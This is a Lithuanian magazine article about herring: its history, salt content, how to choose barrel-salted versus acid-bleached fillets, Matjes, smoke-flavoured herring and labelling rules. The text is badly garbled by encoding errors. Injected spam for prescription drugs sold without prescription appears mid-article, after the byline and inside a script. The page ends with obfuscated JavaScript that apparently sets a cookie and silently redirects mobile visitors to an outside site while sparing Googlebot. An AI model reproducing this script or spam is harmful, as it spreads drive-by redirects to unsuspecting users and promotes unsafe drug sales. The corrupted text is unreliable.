SilkiA? valgymo metas

2012 12 5  |  Virtuvė


Koks adventas ir KAi??A?iA? vakarienAi?? be silkiA?? Galima sakyti, tai bene mAi??gstamiausios lietuviA? A?uvys. ParduotuvAi??se jA? galima rasti galybAi?? rAi??A?iA?, ypaA? ai??i?? prieA? metA? pabaigos A?ventes.Ai?? Kaip iA?sirinkti skaniausias ir sveikiausias?

MAi??gstamos visame pasaulyje
Kadaise silkAi??s dAi??l nemalonaus kvapo buvo laikomos prasA?iokA? maistu. Olandai pirmieji sugalvojo prieA? sAi??dydami silkes iA?imti jA? A?iaunas, dAi??l kuriA? A?uvys turAi??jo nemalonA? kvapAi?? ir apkarsdavo. Taip apdorotos jos buvo dedamos A? statines ir kiekvienas sluoksnis atskirai tolygiai pasAi??domas. Naujai paruoA?tos silkAi??s kvepAi??jo A?uvimi ir tirpte tirpo burnoje.
Ai??iandien silkAi??s taip pat sAi??domos, taA?iau joms apdoroti naudojamos ir naujos maisto ruoA?imo technologijos, kurios, tiesAi?? sakant, jau neA?sivaizduojamos be maisto priedA?. TaA?iau iki A?iol silkAi??s vertinamos dAi??l aA?traus skonio, malonaus sAi??rumo, didelio kiekio nesoA?iA?jA? riebalA? rAi??gA?A?iA?, mineralA?, ypaA? jodo.

!SuskaiA?iuota, kad kievienas suaugAi??s lietuvis per metus suvalgo apie 13 kg silkiA?.

Populiariausios sAi??dytos A?uvys
SilkAi??s visame pasaulyje labai populiarios ir dAi??l to, kad A?vairiuose vandenyse jA? labai daug, jas paprasta gaudyti, apdoroti ir laikyti. JA? sugaunama Ramiajame, Atlanto vandenynuose, Juodojoje, Baltijos jAi??rose ir kitur. SilkAi??s ai??i?? populiariausios iA? visA? sAi??dytA? A?uvA?. Pas mus daA?niausiai parduodamos Ramiojo ir Atlanto vandenynA? silkAi??s.
Ai??ios A?uvys sAi??domos nedarinAi??tos (su galvomis, uodegomis ir viduriais), A?iek tiek iA?darinAi??tos (be galvA? ir viduriA?, bet su oda ir kaulais), ruoA?iama jA? filAi??.
SilkAi??s gali bAi??ti silpnai, vidutiniA?kai ar labai sAi??rios. Silpnai sAi??riose silkAi??se druskos gali bAi??ti iki 10 proc., vidutinio sAi??rumo ai??i?? iki 14 proc., o sAi??riose ai??i?? daugiau nei 14 proc. Tai privaloma paA?ymAi??ti ant pakuotAi??s. MAi??gstamiausios ir daA?niausiai gaminamos silpnai sAi??dytos silkAi??s, kuriose druskos maA?iau negu 7 proc.
Sakoma, kad kuo silkAi??s riebesnAi??s (storomis nugaromis), tuo gardesnAi??s. Mat riebiose silkAi??se bAi??na sAi??lygiA?kai maA?iau vandens, sAi??domos jos sugeria tik tam tikrAi?? kiekA? druskos ir pernelyg neA?sisAi??rAi??ja.
Deja, vien iA? iA?vaizdos neA?manoma nustatyti, kokio sAi??rumo A?uvis ai??i?? reikia jos ragauti arba pasitikAi??ti pardavAi??jA? A?odA?iais. Perkant iA? akies visada verta rinktis bent jau didesnes A?uvis.
!KokybiA?kos silkAi??s turi bAi??ti riebios, tvirtos, pilkai melsvos spalvos, rausvomis A?iaunomis.

NatAi??raliausios ai??i?? iA? statiniA?
NatAi??ralios sAi??dytos silkAi??s ai??i?? neiA?vaizdA?ios. Nulupus odAi?? jA? mAi??sa bAi??na pilkai rusva, su kaulais ai??i?? nugarkauliu ir daugybe nuo jo atitrAi??kusiA? plonA? aA?akA?. IA?darinAi??ti A?ias silkes ai??i?? tikras kantrybAi??s iA?bandymas. TaA?iau bAi??tent tokios yra natAi??raliausio ir, A?inovA? teigimu, geriausio skonio. Ai??iA? silkiA? didA?iuosiuose prekybos centruose galima rasti tik prieA? A?ventes, kitu metA? laiku galima nusipirkti nebent KlaipAi??dos A?uvA? turguje ar maA?ose A?vejA? aptarnaujamose parduotuvAi??se. Specialistai pataria pirkti bAi??tent tokias silkes ai??i?? sAi??dytas statinAi??se, su oda, uodegomis ir kaulais. Tokios bAi??na maA?iau paveiktos cheminiA? priedA?, prireikus jas galima pamirkyti vandenyje, piene ar obuoliA? sultyse, tada ruoA?ti su aliejumi, rAi??gA?A?iu marinatu, sultimis.
!Deja, maisto priedA?, pavyzdA?iui, natrio glutamato, gali bAi??ti dedama ir A? su galvomis ruoA?iamas silkes. Bet jose bAi??na maA?iau konservantA?. Perkant sveriamas silkes, apie tai galima klausti pardavAi??jo.

Balinamos specialiomis rAi??gA?timis
UA?tat parduotuvAi??se yra gausybAi?? baltA? ir be kaulA? silkiA? filAi??. Tokias iA? karto galima valgyti, nereikia lupti, darinAi??ti, rinkti kaulA?, jos yra graA?esnAi??s spalvos. Populiari silkiA? filAi?? be aA?akA? prieA? tai bAi??na apdorojama specialiomis rAi??gA?timis, daA?niausiai naudojamos acto, citrinA?, vyno, obuoliA? rAi??gA?tys. Jos iA?tirpina pagrindinius silkiA? kaulus, o likusius labai suminkA?tina. Tos paA?ios rAi??gA?tys labai iA?balina ir A?iA? A?uvA? mAi??sAi??. TaA?iau tokios A?uvys bAi??na praradusios ir dalA? tikrojo skonio. TaA?iau jA? nereikai darinAi??ti, jos neturi ir silkAi??ms bAi??dingo aromato.

Matjes silkAi??s ai??i?? tarp gardA?iausiA?jA?
ParduotuvAi??se ai??i?? gausus pasirinkimas silkiA? su A?vairiais priedais. Parduodamos Matjes, dAi??mo skonio, islandiA?kos, A?vediA?kos ar kitaip pavadintos sAi??dytos silkAi??s. Matjes vadinamos jaunos nenerA?usios Atlanto silkAi??s be ikrA? ir pieniA?, gaudomos geguA?Ai??s mAi??nesA? ir vasaros pradA?ioje, kai riebumas bAi??na pats didA?iausias (21ai??i??22 proc.). Jos labai silpnai sAi??domos (druskos ai??i?? 2ai??i??3 proc.) ir yra ypaA? A?velnaus skonio. RudenA? sugautos silkAi??s jau turi maA?iau, apie 18 proc., riebalA?, o pavasarA? sugautos jau iA?nerA?usios ai??i?? tik iki 10 proc. comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida, comprar priligy 30 mg entrega rapida.
SilkAi??s, pavadintos islandiA?komis, italiA?komis, A?vediA?komis, ar kitokios yra paruoA?tos naudojant skirtingus prieskonius, kurie atspindi pasirinktos A?alies virtuvAi??s ypatumus.

Apie dAi??mo skonio silkes
DAi??mo skonio sAi??dytos silkAi??s nuo tradiciniA? skiriasi tuo, kad jA? gamybai naudojamos kvapiosios medA?iagos, suteikianA?ios dAi??mA? kvapAi?? ir skonA?. TaA?iau paA?ios silkAi??s nAi??ra rAi??komos. Mokslininkai tebediskutuoja, kas A?mogaus organizmui kenkia labiau ai??i?? patys dAi??mai ar kvapiosios rAi??kymo medA?iagos. Mat dAi??muose esama kancerogeniniA?, vAi??A?A? galinA?iA? sukelti junginiA?, kurie naudojant kvapiAi??sias medA?iagas paA?alinami.

Atkreipkite dAi??mesA? A? uA?raA?us ant pakuoA?iA?
Perkant silkes ir jA? uA?kandas, reikAi??tA? A?dAi??miai perskaityti informacijAi?? etiketAi??je.
Kartu su pavadinimu, tinkamumo vartoti terminu, gamintoju turi bAi??ti pateikiama informacija apie tai, kur silkAi??s suA?vejotos, kada pagautos arba pagamintos bei koks naudotas jA? apdorojimo bAi??das. Taip pat turi bAi??ti nurodoma, kokiA? papildomA? maisto priedA?, produktA? ar prieskoniA? A?dAi??ta.
! Jeigu jA? marinate yra saldiklio (saldikliA?), A?alia pavadinimo turi bAi??ti uA?raA?as ai??zsu saldikliu (saldikliais)ai???, jei pridAi??ta cukraus ir saldikliA? ai??i?? ai??zsu cukrumi ir saldikliu (saldikliais)ai???. Jeigu silkiA? pagarduose yra saldiklio aspartamo, bAi??tina A?enklinti papildomu uA?raA?u ai??zturi fenilalanino A?altinA?ai???. Jeigu silkAi??ms pakuoti naudotos pakavimo dujos ai??i?? uA?raA?yta ai??zsupakuota naudojant apsaugines dujasai???. Visi naudojami maisto priedai turi bAi??ti suA?ymAi??ti maA?Ai??jimo tvarka.

Verta A?inoti
100 g Atlanto silkiA? filAi?? yra net 30ai??i??60 mcg (20ai??i??40 proc. dienos normos) jodo ai??i?? skydliaukAi??s veiklai ir medA?iagA? apykaitai bAi??tino mineralo, kurio mAi??sA? platumA? gyventojams ypaA? trAi??ksta. Jodo maiste labai maA?ai. SilkAi??s ai??i?? vienas nedaugelio produktA?, kuriame A?io mineralo gana daug.
DAi??l ypaA? didelio valgomosios druskos (natrio chlorido) kiekio silkiA? nepatariama valgyti turintiems aukA?tAi?? kraujospAi??dA? ir vaikams iki penkeriA? metA?.
Jei silkAi??s minkA?tos ir birios, jas galima pamirkyti juodosios arbatos plikinyje ai??i?? bus truputA? standesnAi??s.
Teigiama, kad silkiA? patinAi??liai gardesni uA? pateles. Perkant su galvomis jas galima atskirti pagal A?iotis ai??i?? pateliA? bAi??na apvalesnAi??s, o patinAi??liA? ai??i?? siauros ir pailgos.
Ai??vairiai pagardintas silkes galima ir kepti ai??i?? keptuvAi??je, orkaitAi??je, suvyniotas folijoje arba kepimo popieriuje ant lauA?o (A?arijose). Pastaruoju bAi??du iA?keptos silkAi??s ypaA? skanios.

Rasa DerenA?ienAi??

Buy nolvadex and clomid. Medications Without Prescription. The best prices on the web, Best Quality Drugs! FDA Approved Drugs, Fast worldwide shipping buy Clomid. Buy clomid without prescription cheap. Big Discounts, Best medications! No Prescription Needed. Safe and secure pharmacy. Buy nolvadex and clomid. Medications Without Prescription buy nolvadex. If you Buy Nolvadex it is best served for PCT. Many Buy Nolvadex to prevent Gyno while on cycle yet this weak prevention.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| anxiety pills walmart, anxiety pills walmart, anxiety pills walmart, anxiety pills walmart, anxiety pills walmart, anxiety pills walmart. |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Komentuokite